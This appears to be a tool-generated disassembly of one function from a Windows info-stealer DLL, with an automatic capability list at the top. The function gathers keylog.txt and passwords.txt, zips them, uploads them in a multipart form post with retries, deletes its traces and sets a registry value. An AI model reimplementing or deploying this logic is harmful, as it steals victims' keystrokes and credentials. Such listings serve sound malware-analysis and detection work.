Function at 0x100125c0
Capabilities:
Check if file exists
Copy file
Delete directory
Delete file
Get common file path
Set current directory
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x534
push ebx
push esi
push edi
xor eax, eax
push 0x1004d888
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x530]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [ebp + 8]
push ecx
push 0x10057a88
push 0x10044040
lea edx, [ebp - 0x110]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x10012beb
mov eax, dword [ebp + 0xc]
mov ecx, str.DEBUG
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10012651
test dl, dl
je 0x1001264d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10012651
add eax, 2
add ecx, 2
test dl, dl
jne 0x10012631
xor eax, eax
jmp 0x10012656
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10012665
lea eax, [ebp - 0x110]
call fcn.100053e0
xor eax, eax
jmp 0x10012670
mov cl, byte [ebp + eax - 0x110]
mov byte [ebp + eax - 0x218], cl
inc eax
test cl, cl
jne 0x10012670
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea ecx, [ebp - 0x218]
push ecx
call ebx
lea eax, [ebp - 0x218]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100126a0
mov edx, dword [str.keylog.txt]
mov ecx, dword [0x10047780]
mov dword [eax], edx
mov dx, word [0x10047784]
mov dword [eax + 4], ecx
mov cl, byte [0x10047786]
mov word [eax + 8], dx
lea edx, [ebp - 0x428]
push edx
push 0
push 0
push 0x1a
push 0
mov byte [eax + 0xa], cl
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x428]
push eax
call ebx
mov eax, 0x10058618
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100126f2
lea edi, [ebp - 0x428]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10012704
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x428]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x10012740
mov cl, byte [ebp + eax - 0x110]
mov byte [ebp + eax - 0x218], cl
inc eax
test cl, cl
jne 0x10012740
lea eax, [ebp - 0x218]
push eax
call ebx
lea eax, [ebp - 0x218]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10012763
mov ecx, dword [str.passwords.txt]
mov edx, dword [0x1004778c]
mov dword [eax], ecx
mov ecx, dword [0x10047790]
mov dword [eax + 4], edx
mov dx, word [0x10047794]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
mov eax, dword [ebp + 0xc]
mov ecx, str.DEBUG
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100127b8
test dl, dl
je 0x100127b4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100127b8
add eax, 2
add ecx, 2
test dl, dl
jne 0x10012798
xor eax, eax
jmp 0x100127bd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100127dd
push 0
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x428]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x10057a88
push str._s_u.zip
lea edx, [ebp - 0x320]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
push 4
push 0x3000
push 0x104
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10012beb
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x320]
push ecx
call fcn.10027b50
mov edi, eax
test edi, edi
je 0x10012855
push 0
push esi
push edi
call fcn.10027ce0
push edi
call fcn.10027c50
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea edx, [ebp - 0x110]
push edx
call fcn.100066d0
push 0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea edx, [ebp - 0x320]
push edx
call fcn.10006930
mov dword [ebp - 4], eax
test eax, eax
je 0x10012beb
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100128a5
sub eax, edx
xor ebx, ebx
add eax, 0x1000
je 0x100128df
lea esi, [eax + 0x13]
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x100128df
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x10012beb
mov ecx, 7
mov esi, str._____________________________
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, 0x10057980
movsw word es:[edi], word [esi]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012901
sub eax, esi
lea edi, [ebx - 1]
lea ecx, [ecx]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10012910
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10012930
mov cx, word [0x10043de4]
mov word [eax], cx
mov dl, byte [0x10043de6]
mov byte [eax + 2], dl
lea edi, [ebx - 1]
mov edi, edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10012950
mov eax, dword [ebp + 0xc]
mov ecx, 0xc
mov esi, str.Content_Disposition:_form_data__name_pcname__r_n_r_n
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, eax
jmp 0x10012970
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012970
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10012980
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100129a0
mov ax, word [0x100477f8]
push 1
mov word [edi], ax
call fcn.100032f0
mov esi, eax
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100129c0
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100129d0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100129f0
mov ecx, 8
mov esi, str._r_n_____________________________
mov eax, 0x10057980
rep movsd dword es:[edi], dword [esi]
mov esi, eax
jmp 0x10012a10
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012a10
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10012a20
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10012a40
mov cx, word [0x10043de4]
mov word [eax], cx
mov dl, byte [0x10043de6]
mov byte [eax + 2], dl
lea edi, [ebx - 1]
mov edi, edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10012a60
mov ecx, 0x10
mov esi, str.Content_Disposition:_form_data__name_file___filename_report__r_n
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10012a78
mov eax, dword [ebp - 4]
mov ecx, 7
mov esi, str.Content_Type:_text_plain_r_n_r_n
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012a92
sub eax, esi
lea edi, [ebx - 1]
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10012aa0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10012ac0
mov ecx, 8
mov esi, str._r_n_____________________________
mov eax, 0x10057980
rep movsd dword es:[edi], dword [esi]
mov esi, eax
jmp 0x10012ae0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012ae0
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10012af0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10012b10
mov ecx, dword [str.___r_n]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [eax], ecx
mov dl, byte [0x10047888]
mov byte [eax + 4], dl
xor esi, esi
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012b36
sub eax, edx
push eax
push ebx
call fcn.10012410
test eax, eax
jne 0x10012b57
push 0x7530
call edi
inc esi
cmp esi, 5
jl 0x10012b31
mov eax, dword [ebp + 0xc]
mov ecx, str.DEBUG
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10012b80
test dl, dl
je 0x10012b7c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10012b80
add eax, 2
add ecx, 2
test dl, dl
jne 0x10012b60
xor eax, eax
jmp 0x10012b85
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10012beb
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb esi, esi
neg esi
add esi, 0x80000001
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp + 8], eax
lea eax, [ebp + 0xc]
push eax
push 0x102
push 0
push str.softwaremicrosoft
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10012beb
mov edx, dword [ebp + 0xc]
push 4
lea ecx, [ebp + 8]
push ecx
push 4
push eax
push 0x10058514
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x530]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10012c25
push 0
lea ecx, [ebp - 0x320]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 4], 0
mov esi, dword [sym.imp.KERNEL32.dll_HeapValidate]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
je 0x10012c57
mov eax, dword [ebp - 4]
push eax
push 0
call ebx
push eax
call esi
test eax, eax
je 0x10012c57
mov ecx, dword [ebp - 4]
push ecx
push 0
call ebx
push eax
call edi
cmp dword [ebp - 8], 0
je 0x10012c77
mov edx, dword [ebp - 8]
push edx
push 0
call ebx
push eax
call esi
test eax, eax
je 0x10012c77
mov eax, dword [ebp - 8]
push eax
push 0
call ebx
push eax
call edi
push 0x1004d888
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8